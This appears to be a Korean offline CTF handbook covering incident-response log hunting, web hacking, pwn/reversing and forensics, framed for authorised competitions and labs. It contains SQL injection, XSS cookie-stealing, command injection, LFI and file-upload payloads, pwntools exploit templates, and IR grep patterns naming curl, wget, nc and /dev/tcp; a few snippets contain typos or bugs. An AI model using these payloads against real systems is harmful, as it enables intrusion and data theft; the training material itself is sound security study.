

CTF 오프라인 올인원 핸드북

침해사고대응 · 시스템/웹 해킹 · 디지털 포렌식

인터넷이 없는 오프라인 대회장에서 바로 펼쳐 보는 실전 절차서

이 문서는 허가된 CTF, 교육용 실습, 자체 구축 테스트 환경에서만 사용하기 위한 학습 자료입니다. 실제 서비스나 타인의 시스템에 무단 적용하면 법적 문제가 발생할 수 있습니다. 본문은 대회 중 검색이 불가능한 상황을 전제로 판단 흐름, 명령어, 예제, 풀이 기준을 한 PDF 안에 모은 것입니다.

작성일: 2026-04-29 / 기준: 공개 공식 문서 및 CTF 실전 풀이 패턴

목차

목차	2
0. 오프라인 CTF 운영 전략	4
0.1 문제를 받자마자 하는 10분 루틴	4
0.2 대회장 반입/준비 체크리스트	4
0.3 먼저 보면 좋은 공통 명령어	4
1. 침해사고대응(IR) / DFIR 문제 풀이	5
1.1 IR 문제에서 자주 묻는 질문	5
1.2 Linux 서버 침해 로그 위치	5
1.3 Windows 침해 로그와 아티팩트	5
1.4 웹 서버 침해 타임라인 예제	6
1.5 IR 보고서 템플릿	6
2. 웹 해킹 CTF 오프라인 풀이	7
2.1 웹 문제 공통 탐색 루틴	7
2.2 취약점별 빠른 판별표	7
2.3 SQL Injection 상세 루틴	7
2.4 XSS와 관리자 봇 문제	8
2.5 파일 업로드 문제	8
2.6 LFI / Path Traversal	8
2.7 Command Injection	9
2.8 SSTI	9
2.9 JWT / 세션 / 권한 문제	9
2.10 웹 실전 예제	9
3. 시스템 해킹 / pwn / 리버싱 풀이	11
3.1 pwn 문제 기본 루틴	11
3.2 보호기법별 의미와 풀이 방향	11
3.3 pwntools 기본 템플릿	11
3.4 ret2win 예제	11
3.5 ret2libc 사고방식	12
3.6 Format String 문제	12
3.7 리버싱 기본 루틴	12
4. 디지털 포렌식 풀이	13
4.1 포렌식 공통 triage	13
4.2 파일 시그니처 / 매직 바이트	13
4.3 이미지/스테가노그래피	13
4.4 PCAP / 네트워크 포렌식	13
4.5 메모리 포렌식 - Volatility 3 루틴	14
4.6 디스크 이미지 / 파일시스템 포렌식	14
4.7 브라우저/앱 아티팩트	14

5. 실전 예제와 풀이 해설	16
IR-01 웹쉘 업로드 추적	16
IR-02 SSH 브루트포스 성공	16
IR-03 로그 삭제 흔적	16
IR-04 서비스 지속성	16
WEB-01 SQLi 컬럼 수	16
WEB-02 SQLite 테이블 찾기	16
WEB-03 IDOR	16
WEB-04 LFI 소스코드 읽기	16
WEB-05 SSTI 탐지	16
WEB-06 JWT role 변조	17
WEB-07 파일 업로드 경로	17
WEB-08 Command injection	17
PWN-01 ret2win	17
PWN-02 Canary	17
PWN-03 PIE	17
PWN-04 GOT overwrite 실패	17
PWN-05 Format string leak	17
REV-01 strcmp 추적	17
REV-02 XOR 암호	17
FOR-01 PNG 높이 조작	18
FOR-02 JPG 뒤 ZIP	18
FOR-03 PCAP HTTP 파일	18
FOR-04 DNS exfil	18
FOR-05 Volatility cmdline	18
FOR-06 filescan flag	18
FOR-07 SQLite DB	18
FOR-08 삭제 파일	18
6. 오프라인 명령어 치트시트	19
6.1 웹	19
6.2 pwn/rev	19
6.3 포렌식	19
6.4 인코딩/암호/문자열	19
7. 막혔을 때 보는 의사결정표	20
7.1 웹 문제	20
7.2 pwn 문제	20
7.3 포렌식 문제	20
8. 오프라인 대회 전 2주 압축 학습 계획	21
9. 참고한 공개 자료	22

0. 오프라인 CTF 운영 전략

온라인 CTF는 모르는 키워드를 검색하면서 풀 수 있지만, 오프라인 CTF는 처음 10분의 분류와 도구 선택이 점수 차이를 만듭니다. 이 장은 문제를 열자마자 무엇을 확인해야 하는지에 집중합니다.

0.1 문제를 받자마자 하는 10분 루틴

시간	할 일	판단 기준	산출물
0-2분	문제명, 설명, 제공 파일 확장자 확인	웹 URL/pcap/memdump/bin/log/image/disk image 중 무엇인가	카테고리 1차 분류
2-5분	file, strings, head, hexdump, exiftool, ls -lh 실행	압축/암호화/실행파일/로그/이미지 여부	파일 유형과 첫 단서
5-7분	빠른 grep과 키워드 탐색	flag, password, token, admin, error, key, base64, JWT 등	후보 문자열
7-10분	풀이 루틴 선택	웹은 요청 재현, pwn은 checksec, 포렌식은 타임라인, IR은 IOC 중심	작업 메모와 우선순위

0.2 대회장 반입/준비 체크리스트

- [] Kali 또는 Ubuntu VM, Windows 분석 VM, Python 3, pwntools, gdb + pwndbg/gef 중 하나를 사전 설치한다.
- [] Burp Suite Community, browser devtools, curl, jq, sqlite3, nmap, ffuf/dirsearch 같은 웹 도구를 오프라인 실행 가능하게 준비한다.
- [] Volatility 3, Wireshark/tshark, Autopsy, Sleuth Kit(mmls/fls/icat/mactime), exiftool, binwalk, foremost, zsteg, steghide를 설치한다.
- [] Ghidra 또는 Cutter/radare2, checksec, ROPgadget/ropper, one_gadget, patchelf, pwninit을 설치한다.
- [] 자주 쓰는 wordlist는 오프라인에 저장하되, 대회 규정상 반입 가능한지 확인한다.
- [] 문제 풀이 노트 템플릿을 준비한다: 파일명, 해시, 가설, 실행 명령, 발견값, 실패한 시도, 최종 플래그 위치.

0.3 먼저 보면 좋은 공통 명령어

```
# 파일 정제 파악
file suspicious.bin
sha256sum suspicious.bin
ls -lah
strings -a suspicious.bin | head -50
strings -a suspicious.bin | grep -Ei 'flag|pass|key|token|admin|ctf|secret'
xxd -l 256 suspicious.bin
hexdump -C suspicious.bin | head
binwalk suspicious.bin
exiftool suspicious.jpg
```

```
# 압축/인코딩/텍스트
7z l archive.7z
7z x archive.7z
base64 -d input.txt > out.bin
python3 - <<'PY'
import base64
s=open('input.txt','rb').read().strip()
for f in (base64.b64decode, base64.b32decode, base64.b16decode):
    try: print(f(s))
    except Exception: pass
PY
```

```
# 대량 검색
find . -maxdepth 3 -type f -print
find . -type f -exec file {} \;
grep -RIaE 'flag|password|token|secret|admin|key' . 2>/dev/null
```

오프라인 대회에서는 "정답을 아는 것"보다 "무엇을 먼저 버릴지"가 중요합니다. 한 문제에서 20분 이상 진전이 없으면 발견값을 남기고 다른 문제로 이동한 뒤 돌아오세요.

1. 침해사고대응(IR) / DFIR 문제 풀이

침해사고대응 문제는 이미 발생한 흔적에서 타임라인, 침입 경로, 악성 행위, 유출 여부, IOC를 찾아내는 유형이 많습니다. CTF에서는 탐지-분석-대응-복구의 작업 순서로 압축해서 사용하면 됩니다.

1.1 IR 문제에서 자주 묻는 질문

질문 유형	보는 자료	찾을 값
최초 침입 시각은?	웹 접근 로그, 인증 로그, EDR/Sysmon 로그, 파일 타임스탬프	가장 이른 악성 요청/로그인/파일 생성 시간
공격자 IP는?	access.log, auth.log, firewall, pcap	비정상 요청 반복, 로그인 성공 직전 실패 IP
취약점은?	URL, User-Agent, POST body, 서버 오류, 업로드 기록	SQLi, 파일 업로드, RCE, path traversal, 취약 플러그인
실행된 명령은?	bash_history, process creation, webshell access, Sysmon Event ID 1	whoami, id, curl/wget, chmod, nc, powershell
유출 파일은?	웹 로그, pcap, zip/tar 생성 흔적, outbound 연결	다운로드된 경로, 전송 크기, 압축 파일명
지속성은?	cron, systemd, Run key, 서비스 생성, scheduled task	부팅 시 실행되는 악성 파일
IOC는?	IP, 도메인, URL, 파일명, 해시, 레지스트리 경로	차단/탐지 규칙에 넣을 식별자

1.2 Linux 서버 침해 로그 위치

아티팩트	대표 경로/명령	확인 포인트
인증 로그	/var/log/auth.log, /var/log/secure	SSH 로그인 성공/실패, sudo 사용, 신규 세션
시스템 로그	/var/log/syslog, /var/log/messages, journalctl	서비스 시작/중지, 커널 메시지, 비정상 오류
웹 로그	/var/log/apache2/access.log, nginx/access.log	공격 요청, 응답 코드, User-Agent, 업로드 후 접근
명령 이력	~/.bash_history, ~/.zsh_history	다운로드, 권한 변경, 압축, 삭제 명령
예약 작업	/etc/crontab, /etc/cron.*, crontab -l	주기 실행, reverse shell, downloader
서비스	systemctl list-unit-files, /etc/systemd/system	의심 서비스 등록
프로세스/네트워크	ps aux, ss -tulpn, lsof -i	의심 프로세스, 외부 C2, 리스닝 포트
파일 타임라인	find / -mtime -2, stat, mactime	공격 시각 전후 생성/수정 파일

```
# Linux IR 빠른 수색
sudo last -ai | head -30
sudo grep -Ei 'accepted|failed|invalid|sudo|session opened' /var/log/auth.log* 2>/dev/null
sudo grep -RInE 'wget|curl|bash -c|python -c|nc |/dev/tcp|chmod|chattr|base64' /var/log
2>/dev/null
sudo awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
sudo grep -Ei 'union|select|sleep|benchmark|\\.\\.\\.|cmd=|uploads|\\.php' /var/log/*/*access*
2>/dev/null
sudo find /tmp /var/tmp /dev/shm -type f -ls 2>/dev/null
sudo find / -perm -4000 -type f -ls 2>/dev/null
```

1.3 Windows 침해 로그와 아티팩트

아티팩트	대표 위치/도구	확인 포인트
Security.evtx	Windows\System32\winevt\Logs\Security.evtx	로그온 4624, 실패 4625, 프로세스 생성 4688, 로그 삭제 1102
System.evtx	...\System.evtx	서비스 생성/시작 7045, 드라이버 로드, 시스템 시간 변경
PowerShell 로그	Microsoft-Windows-PowerShell/Operational	EncodedCommand, 다운로드, Invoke 계열
Sysmon 로그	Microsoft-Windows-Sysmon/Operational	ProcessCreate, NetworkConnect, FileCreate, RegistryEvent
Prefetch	C:\Windows\Prefetch	프로그램 실행 여부, 마지막 실행 시간, 실행 횟수

아티팩트	대표 위치/도구	확인 포인트
Registry Run Key	HKCU\HKLM\Software\Microsoft\Windows\CurrentVersion\Run	로그온 지속성
Scheduled Tasks	C:\Windows\System32\Tasks	예약 실행, 악성 스크립트 경로

PowerShell 로그/명령 흔적 키워드
EncodedCommand, -enc, IEX, Invoke-Expression, DownloadString, WebClient,
FromBase64String, Start-Process, New-Object Net.WebClient, certutil, bitsadmin

evtx가 Linux에 있을 때 예시 도구
python3 evtx_dump.py Security.evtx | grep -Ei '4624|4625|4688|7045|1102|powershell|cmd.exe'

1.4 웹 서버 침해 타임라인 예제

```
192.0.2.10 - - [29/Apr/2026:10:02:11 +0900] "POST /login.php" 302 "username=admin'--"
192.0.2.10 - - [29/Apr/2026:10:04:44 +0900] "POST /admin/upload.php" 200 "filename=avatar.php"
192.0.2.10 - - [29/Apr/2026:10:05:02 +0900] "GET /uploads/avatar.php?cmd=id" 200
192.0.2.10 - - [29/Apr/2026:10:06:20 +0900] "GET
/uploads/avatar.php?cmd=tar%20cf%20/tmp/db.tgz%20/var/www/db" 200
192.0.2.10 - - [29/Apr/2026:10:07:01 +0900] "GET /tmp/db.tgz" 200 348912
```

- 10:02:11 - login.php에서 admin'-- 형태의 SQL injection 로그인 우회 정황.
- 10:04:44 - upload.php를 통해 PHP 파일 업로드. 실행 가능한 확장자라면 RCE 가능성이 큼.
- 10:05:02 - 업로드 파일에 cmd=id를 전달해 명령 실행 검증. 웹shell 사용 정황.
- 10:06:20 - /var/www/db를 압축하는 명령. 데이터 수집 단계.
- 10:07:01 - db.tgz 다운로드. 유출 파일 후보. IOC는 IP, 경로, 파일명, User-Agent, 파일 해시.

1.5 IR 보고서 템플릿

[사건 요약]
- 사고명 / 발견 시각 / 영향 시스템 / 최초 침입 경로 / 공격자 식별자
[타임라인]
- YYYY-MM-DD HH:MM:SS 단서 의미 증거 파일/라인
[기술 분석]
- 취약점 / 실행 명령 / 생성·수정 파일 / 네트워크 연결 / 권한 상승·지속성 / 데이터 접근·유출
[IOC]
- IP / 도메인·URL / 파일명·경로 / SHA256 / 레지스트리·서비스·스케줄러
[대응 권고]
- 차단 / 패치 / 계정 조치 / 로그 보존 / 재발 방지

2. 웹 해킹 CTF 오프라인 풀이

웹 문제는 브라우저에서 눌러 보는 것보다 요청과 응답을 정확히 기록하는 것이 중요합니다. 인터넷이 없어도 Burp, 개발자도구, curl, jq, sqlite3, Python만 있으면 대부분의 CTF 웹 문제를 풀 수 있습니다.

2.1 웹 문제 공통 탐색 루틴

```
# HTTP 응답과 헤더 확인
curl -i http://target/
curl -i -s http://target/robots.txt
curl -i -s http://target/.git/HEAD
curl -i -s http://target/.env
curl -i -s http://target/sitemap.xml

# 링크/JS 경로 수집
curl -s http://target/ | grep -Eo 'href="[^\"]+"|src="[^\"]+"' | sort -u
curl -s http://target/static/app.js | grep -Eo '/[A-Za-z0-9_./?=&-]+' | sort -u

# 파라미터 후보 확인
curl -i 'http://target/item?id=1'
curl -i 'http://target/item?id=1%27'
curl -i 'http://target/item?id=1%20or%201=1'

# JSON API 확인
curl -s -H 'Content-Type: application/json' -d '{"id":1}' http://target/api/item | jq
```

2.2 취약점별 빠른 판별표

취약점	관찰 단서	테스트 아이디어	정답 위치
SQL Injection	' 입력 시 SQL 에러, id=1 같은 숫자 파라미터	' or '1'='1, order by, union select, boolean/time	DB의 flag 테이블, admin 세션
XSS	입력값이 HTML/JS에 반사됨	<script>alert(1)</script>, 속성/이벤트 컨텍스트	관리자 봇 쿠키, 페이지 소스
IDOR/Broken Access Control	user_id, file_id, invoice_id	다른 번호로 변경, role/client-side hidden 값 변경	다른 사용자 정보/flag
Path Traversal/LFI	file=, page=, template=	../../../../etc/passwd, wrapper, 로그 파일 포함	소스코드, config, flag 파일
File Upload	이미지/문서 업로드	확장자, MIME, magic byte, 저장 경로, 실행 여부	업로드 후 실행/소스 노출
Command Injection	ping, nslookup, filename, zip 처리	; id, whoami, \$(id), newline	명령 결과/flag 파일
SSTI	{{7*7}}가 49로 평가	템플릿 엔진별 객체 접근	config/환경변수/파일
XXE	XML 업로드/파싱	<!ENTITY xxe SYSTEM "file:///...">	로컬 파일/내부 응답
SSRF	url=, webhook=, image_url=	127.0.0.1, localhost, 내부 포트	내부 관리자 페이지/메타데이터
JWT/Session	JWT 구조 header.payload.signature	alg, kid, weak secret, role claim 변조	admin 권한/flag

2.3 SQL Injection 상세 루틴

- 1단계: 입력 지점 확인. GET/POST/JSON/Cookie/Header 중 SQL로 들어갈 만한 값에 따옴표, 숫자 연산, 주석을 넣어 반응 차이를 본다.
- 2단계: 쿼리 타입 추정. 문자열이면 작은따옴표, 숫자면 1 or 1=1 형태가 반응한다.
- 3단계: 컬럼 수 확인. order by 1,2,3 또는 union select null,null...로 맞춘다.
- 4단계: 출력 컬럼 확인. union select 1,2,3 중 화면에 보이는 위치를 찾는다.
- 5단계: DB 종류 확인. sqlite_version(), version(), @@version 등을 시도한다.
- 6단계: 테이블/컬럼/데이터 추출. information_schema 또는 sqlite_master를 사용한다.

```
# 로그인 우회 예시 - CTF에서만 사용
username=admin'--&password=x
```

```
username=admin' OR '1'='1'--&password=x
```

```
# 컬럼 수 확인
```

```
?id=1 order by 1--
```

```
?id=1 order by 2--
```

```
?id=1 union select null,null,null--
```

```
# MySQL 계열
```

```
?id=-1 union select 1,database(),version()--
```

```
?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database()--
```

```
?id=-1 union select 1,column_name,3 from information_schema.columns where table_name='users'--
```

```
# SQLite 계열
```

```
?id=-1 union select 1,sqlite_version(),3--
```

```
?id=-1 union select 1,name,sql from sqlite_master where type='table'--
```

```
?id=-1 union select 1,username,password from users--
```

```
# Blind SQLi 사고방식
```

```
?id=1 and substr((select flag from flag),1,1)='f'--
```

```
?id=1 and length((select flag from flag))>20--
```

2.4 XSS와 관리자 봇 문제

컨텍스트	테스트	포인트
HTML 본문	test, <script>alert(1)</script>	태그가 이스케이프되는지 확인
속성값	" autofocus onfocus=alert(1) x="	따옴표 탈출 필요
JavaScript 문자열	'alert(1);//	문자열/스크립트 컨텍스트 탈출
URL/링크	javascript:alert(1)	프로토콜 필터링 우회 여부
Markdown/HTML sanitizer		허용 태그/속성 확인

```
# 외부 인터넷이 막힌 환경에서의 수집 아이디어
```

```
# 1) 문제 서버 내부에 /collect?c=... 같은 엔드포인트가 있는지 확인
```

```
# 2) 댓글/프로필/로그 페이지에 document.cookie를 다시 저장시키는 방식 검토
```

```
# 3) 관리자 봇이 방문하는 경로와 같은 origin인지 확인
```

```
<script>fetch('/collect?c='+encodeURIComponent(document.cookie))</script>
```

```
<img src=x onerror="fetch('/collect?c='+encodeURIComponent(document.cookie))">
```

2.5 파일 업로드 문제

- 확장자 검사: .php, .phtml, .phar, .php5, .jpg.php, 대소문자 변형을 테스트한다.

- MIME 검사: Content-Type을 image/jpeg 등으로 바꾸어 본다.

- Magic byte 검사: 파일 앞부분에 GIF89a, PNG 시그니처를 붙여도 서버가 실행 파일로 처리하는지 본다.

- 저장 경로 확인: 응답, HTML, JS, 에러 메시지, /uploads/filename 접근으로 경로를 찾는다.

- 실행 여부 확인: 단순 문자열 출력이나 harmless 명령으로만 확인하고, 대화 규칙을 벗어나는 지속성/파괴 행위는 하지 않는다.

```
# 업로드 후 접근 경로 추정
```

```
/uploads/shell.php
```

```
/upload/shell.php
```

```
/static/uploads/shell.php
```

```
/files/<returned-id>
```

```
# CTF harmless proof of execution 예시
```

```
<?php echo "OK:" . get_current_user(); ?>
```

```
# 이미지 매직 바이트 + PHP 텍스트 예시
```

```
GIF89a
```

```
<?php echo "OK"; ?>
```

2.6 LFI / Path Traversal

```
?page=../../../../etc/passwd
```

```
?file=..%2f..%2f..%2f..%2fetc%2fpasswd
```

```
?file=../../../../../../../../etc/passwd
```

```
?file=/proc/self/enviro
```

```
?file=/var/log/nginx/access.log
```


?file=php://filter/convert.base64-encode/resource=index.php

- 리눅스에서 /etc/passwd가 보이면 파일 읽기 성공이지만, 플래그는 보통 소스코드, config, 환경변수, 로그, DB 파일에 있다.
- PHP LFI는 php://filter로 소스코드를 base64 인코딩해서 읽는 패턴이 자주 나온다.
- 로그 파일을 포함할 수 있고 User-Agent가 로그에 남는다면 log poisoning 가능성이 있지만, 대회 규칙 내에서만 검증한다.

2.7 Command Injection

```
# 기본 구분자
127.0.0.1;id
127.0.0.1&&id
127.0.0.1{id
127.0.0.1`id`
127.0.0.1$(id)
127.0.0.1%0aid

# 필터 우회 사고방식
space blocked: ${IFS}, $IFS$, 탭, URL 인코딩
output hidden: ping 지연, 파일 쓰기 후 읽기, stderr redirect
```

2.8 SSTI

엔진/환경	기초 테스트	다음 확인
Jinja2/Flask	{{7*7}}	config, request, globals, subclasses
Twig/PHP	{{7*7}}	_self, environment
ERB/Ruby	<%= 7*7 %>	system 호출 가능성
Handlebars/Mustache	{{this}}	logic-less 엔진이라 RCE가 어려울 수 있음

```
# 탐지용 payload
{{7*7}}
{{config}}
${7*7}
<%= 7*7 %>
#{7*7}

# 풀이 순서
1) 반사 위치 확인
2) 산술 평가 여부 확인
3) 템플릿 엔진 추정
4) config/env/source/read file 중 플래그가 있을 위치 확인
```

2.9 JWT / 세션 / 권한 문제

```
# JWT 구조: header.payload.signature
python3 - <<'PY'
import base64,json
jwt='PASTE.JWT.HERE'
for part in jwt.split('.')[2]:
    part += '=' * (-len(part)%4)
    print(json.dumps(json.loads(base64.urlsafe_b64decode(part)), indent=2))
PY

# 확인 포인트
- alg가 none으로 바뀌는가?
- role/user_id/is_admin claim만 신뢰하는가?
- kid가 파일 경로처럼 처리되는가?
- weak secret이면 오프라인 wordlist로 서명 검증이 가능한가?
- 세션 쿠키가 단순 base64/JSON/Flask session인지 확인한다.
```

2.10 웹 실전 예제

예제 A - SQLi 로그인 우회: /login의 username에 작은따옴표를 넣으면 SQL syntax error가 나온다.

```
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin'--&password=x
```

- 서버가 `SELECT * FROM users WHERE username='$u' AND password='$p'` 같은 쿼리를 만들면 `admin'--` 뒤의 `password` 조건이 주석 처리된다.

- MySQL에서는 `--` 뒤 공백이 필요할 수 있으므로 `admin'--+` 또는 `admin'#`도 테스트한다.

- 관리자 페이지 접근 후 `/admin`, `/flag`, `/profile`, `/backup` 등을 확인한다.

예제 B - 업로드 우회: 이미지 업로드만 가능하다고 하지만 업로드 후 `/uploads/파일명` 으로 접근 가능하고, 서버는 PHP를 실행한다.

`test.php.jpg` 형태로 업로드 후, 응답에서 실제 저장 파일명을 확인한다.

GIF89a

<?php echo "OK"; ?>

`curl -i http://target/uploads/test.php.jpg`

- 확장자 필터가 마지막 확장자만 보는지, 서버가 중간 확장자를 실행하는지, MIME과 magic byte만 검사하는지 분리해서 확인한다.

- 오프라인 환경에서는 외부 리버스 셸보다 HTTP 응답에 결과를 출력하는 방식이 안정적이다.

3. 시스템 해킹 / pwn / 리버싱 풀이

시스템 해킹 문제는 제공된 바이너리의 보호기법, 입출력, 크래시 위치, 메모리 주소, libc/ld 정보를 차례로 좁혀 가는 방식으로 풀립니다. 감으로 찍기보다 반복 가능한 실험과 자동화가 중요합니다.

3.1 pwn 문제 기본 루틴

```
file chall
checksec --file=chall
strings -a chall | grep -Ei 'flag|win|system|/bin/sh|password|correct|wrong'
./chall
```

```
# 정적 분석
objdump -d chall | less
readelf -s chall | grep -Ei 'win|system|puts|printf'
readelf -r chall
```

```
# GDB
gdb -q ./chall
(gdb) run
(gdb) info functions
(gdb) disassemble main
(gdb) cyclic 200
(gdb) run <<(python3 -c 'print("A"*200)')
```

3.2 보호기법별 의미와 풀이 방향

보호기법	의미	풀이 방향
NX enabled	스택 실행 불가	shellcode 대신 ret2win, ret2libc, ROP
Canary enabled	스택 반환주소 앞 canary 검증	format string leak, read overflow로 canary 누출, partial overwrite
PIE enabled	바이너리 베이스 주소 랜덤	함수 주소 leak 후 base 계산
RELRO partial/full	GOT overwrite 제한 정도	full RELRO면 GOT overwrite 대신 ROP/ret2libc
ASLR	libc/stack/heap 주소 랜덤	puts/printf leak, /proc/self/maps, format string leak
Fortify	일부 unsafe 함수 강화	로직 버그/다른 함수/ROP로 우회

3.3 pwntools 기본 템플릿

```
from pwn import *
context.binary = elf = ELF('./chall')
context.log_level = 'info'
HOST, PORT = '127.0.0.1', 31337

def start():
    return remote(HOST, PORT) if args.REMOTE else process(elf.path)

io = start()
# gdb.attach(io, 'b *main')
payload = b'A' * 40
payload += p64(elf.symbols.get('win', 0xdeadbeef))
io.sendlineafter(b'> ', payload)
io.interactive()
```

3.4 ret2win 예제

```
# 주소 확인
readelf -s chall | grep win
# 예: 0000000000401186 FUNC GLOBAL DEFAULT win

# offset 찾기
python3 - <<'PY'
from pwn import *
print(cyclic(200).decode())
print(cyclic_find(0x6161616c))
PY

# exploit.py
```

```
from pwn import *
elf = ELF('./chall')
io = process('./chall')
payload = b'A'*40 + p64(elf.symbols['win'])
io.sendline(payload)
io.interactive()
```

- ret2win은 shellcode가 아니라 기존 바이너리 내부의 win() 함수로 제어 흐름을 바꾸는 기초 ROP 문제입니다.
- PIE가 꺼져 있으면 win 주소가 실행마다 고정됩니다. PIE가 켜져 있으면 주소 leak이 필요합니다.
- x86_64에서 스택 정렬 문제로 system 호출이 깨지면 ret gadget 하나를 추가해 16바이트 정렬을 맞춰 봅니다.

3.5 ret2libc 사고방식

```
# 1단계: puts@got 주소를 puts@plt로 출력하고 main으로 복귀
payload = flat(b'A'*offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'])

# 2단계: 실제 puts 주소에서 libc base 계산
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']

# 3단계: system('/bin/sh') 호출
payload = flat(b'A'*offset, ret, pop_rdi, next(libc.search(b'/bin/sh')), libc.symbols['system'])
```

3.6 Format String 문제

```
# 탐지
AAAA.%p.%p.%p.%p.%p.%p.%p
%x-%x-%x-%x-%x

# offset 찾기 - AAAA가 몇 번째 인자로 보이는지 확인
python3 - <<'PY'
from pwn import *
for i in range(1,20): print(i, f'%i$p')
PY

# GOT overwrite 예시(CTF 로컬 바이너리에서만)
from pwn import *
elf = ELF('./vuln')
payload = fmtstr_payload(6, {elf.got['printf']: elf.symbols['win']})
```

3.7 리버싱 기본 루틴

상황	도구/명령	확인 포인트
ELF/PE 경제 확인	file, strings, rabin2 -l	아키텍처, stripped 여부, 라이브러리
문자열 기반 힌트	strings -a, grep	flag format, success/fail 문구, 암호화 키
동적 실행	ltrace, strace, procmon	strcmp, open/read, socket, anti-debug
디컴파일	Ghidra, Cutter, IDA Free	main, check, decrypt, compare 함수
패킹/난독화	upx -d, binwalk, entropy	UPX, self-modifying, embedded blob
암호 로직	Python 재구현	XOR, base64, RC4, TEA, custom loop

```
strings -a chall | sort -u | less
ltrace ./chall 2>&1 | head -50
strace -f -e trace=openat,read,write,execve ./chall
objdump -d -Mintel chall | grep -A20 '<main>'
# Ghidra에서 볼 함수 이름 후보: main, check, validate, auth, decrypt, encode, compare, print_flag, win
```

4. 디지털 포렌식 풀이

포렌식 문제는 파일 포맷, 메타데이터, 숨겨진 스트림, 네트워크 흐름, 메모리 아티팩트, 디스크 타임라인을 순서대로 좁혀야 합니다. 인터넷이 없을 때는 도구 이름보다 관찰 순서가 중요합니다.

4.1 포렌식 공통 triage

```
file evidence
sha256sum evidence
ls -lh evidence
xxd -l 64 evidence
strings -a evidence | grep -Ei 'flag|ctf|password|secret|key|token'
binwalk evidence
exiftool evidence
7z l evidence
```

4.2 파일 시그니처 / 매직 바이트

포맷	시그니처 예시	확인 도구	힌트
PNG	89 50 4E 47 0D 0A 1A 0A	pngcheck, exiftool, zsteg	chunk, height/width 변조, LSB
JPG	FF D8 FF ... FF D9	exiftool, binwalk, foremost	EXIF, trailing data
GIF	47 49 46 38 39 61	identify, strings	프레임 분리
ZIP	50 4B 03 04	7z, unzip, binwalk	암호, nested archive, 주석
PDF	25 50 44 46	pdftinfo, strings, binwalk	첨부/JS/숨김 객체
ELF	7F 45 4C 46	readelf, objdump	리버싱/pwn
PCAP	D4 C3 B2 A1 또는 0A 0D 0D 0A	wireshark, tshark	네트워크 흐름
SQLite	SQLite format 3	sqlite3, strings	앱 DB, 브라우저 기록

4.3 이미지/스테가노그래피

```
exiftool image.jpg
binwalk -e image.jpg
strings -a image.jpg | grep -Ei 'flag|ctf|pass|secret'
foremost image.jpg
pngcheck -v image.png
zsteg image.png
zsteg -a image.png | grep -Ei 'flag|ctf'
steghide info image.jpg
steghide extract -sf image.jpg -p ''
identify image.png
```

- 이미지 끝에 ZIP이 붙어 있는 경우 binwalk나 xxd로 trailing data를 확인한다.
- PNG 높이/너비가 조작되어 아래쪽 flag가 잘려 보이는 경우 IHDR height를 수정하거나 PIL로 전체 픽셀을 확인한다.
- LSB는 zsteg, stegsolve, PIL 스크립트로 bit plane을 본다.
- EXIF Comment, Artist, UserComment, GPS에 flag나 키가 있는 경우가 많다.

4.4 PCAP / 네트워크 포렌식

목표	Wireshark/TShark 필터	확인 포인트
HTTP 요청	http	Host, URI, POST body, Cookie, User-Agent
파일 다운로드	http.response or tcp contains "PK"	Export Objects, Content-Type, file signature
DNS 터널링	dns and dns.qry.name contains	긴 subdomain, 반복 패턴, base64/base32
TLS SNI	tls.handshake.extensions_server_name	접속 도메인
FTP	ftp or ftp-data	USER/PASS, RETR/STOR 파일명
SMB	smb2	파일명, read/write, NTLM 정보
ICMP 데이터	icmp	data 필드, payload 연결

```
capinfos traffic.pcapng
tshark -r traffic.pcapng -q -z io,phs
tshark -r traffic.pcapng -q -z conv,tcp
# HTTP URL 추출
tshark -r traffic.pcapng -Y http.request -T fields -e ip.src -e http.host -e http.request.uri
# HTTP POST body 후보
tshark -r traffic.pcapng -Y 'http.request.method == "POST"' -V | less
# DNS 쿼리 추출
tshark -r traffic.pcapng -Y dns -T fields -e dns.qry.name | sort | uniq -c | sort -nr
```

4.5 메모리 포렌식 - Volatility 3 루틴

```
# Windows memory
python3 vol.py -f mem.raw windows.info
python3 vol.py -f mem.raw windows.pslist
python3 vol.py -f mem.raw windows.pstree
python3 vol.py -f mem.raw windows.psscan
python3 vol.py -f mem.raw windows.cmdline
python3 vol.py -f mem.raw windows.netscan
python3 vol.py -f mem.raw windows.malfind
python3 vol.py -f mem.raw windows.filescan | grep -Ei 'flag|secret|password|zip|txt|doc|png'
python3 vol.py -f mem.raw windows.dumpfiles --pid <PID> --dump-dir dumpout
python3 vol.py -f mem.raw windows.registry.hivelist
python3 vol.py -f mem.raw windows.registry.printkey --key
'Software\Microsoft\Windows\CurrentVersion\Run'

# Linux memory 예시
python3 vol.py -f mem.raw linux.pslist
python3 vol.py -f mem.raw linux.bash
python3 vol.py -f mem.raw linux.sockstat
python3 vol.py -f mem.raw linux.lsof
```

관찰	의미	다음 행동
pslist에는 없고 psscan에는 있음	종료/은닉 프로세스 가능성	cmdline, malfind, dumpfiles 확인
netscan에 외부 IP 연결	C2/다운로드/유출 후보	프로세스 PID와 연결
cmdline에 powershell -enc	인코딩 명령 실행	base64 디코딩
malfind에 PAGE_EXECUTE_READ WRITE	인젝션/셸코드 후보	덤프 후 strings/역분석
filescan에 flag.txt/secret.zip	메모리에 남은 파일 객체	dumpfiles 시도
registry Run key	지속성 후보	파일 해시와 경로 IOC화

4.6 디스크 이미지 / 파일시스템 포렌식

```
mmcls disk.img
fdisk -lu disk.img
# offset 마운트 예: start sector 2048, sector size 512
sudo mount -o ro,loop,offset=$((2048*512)) disk.img /mnt/evidence
fsstat disk.img
fls -r -m / disk.img > bodyfile.txt
mactime -b bodyfile.txt > timeline.csv
fls disk.img
icat disk.img <inode> > recovered.bin
foremost -i disk.img -o carved
photorec disk.img
```

4.7 브라우저/앱 아티팩트

아티팩트	대표 파일	확인 방법
Chrome History	History(SQLite)	sqlite3 History "select url,title,last_visit_time from urls"
Chrome Cookies	Cookies(SQLite)	host_key, name, encrypted_value
Local Storage	Local Storage/leveldb	strings, grep token/flag
Downloads	History downloads table	다운로드 파일명/URL/시간
Firefox	places.sqlite, cookies.sqlite	방문기록/쿠키
메신저/앱 DB	*.db, *.sqlite	.tables, schema, grep flag

```
sqlite3 app.db '.tables'  
sqlite3 app.db '.schema'  
sqlite3 app.db "select * from users limit 5;"  
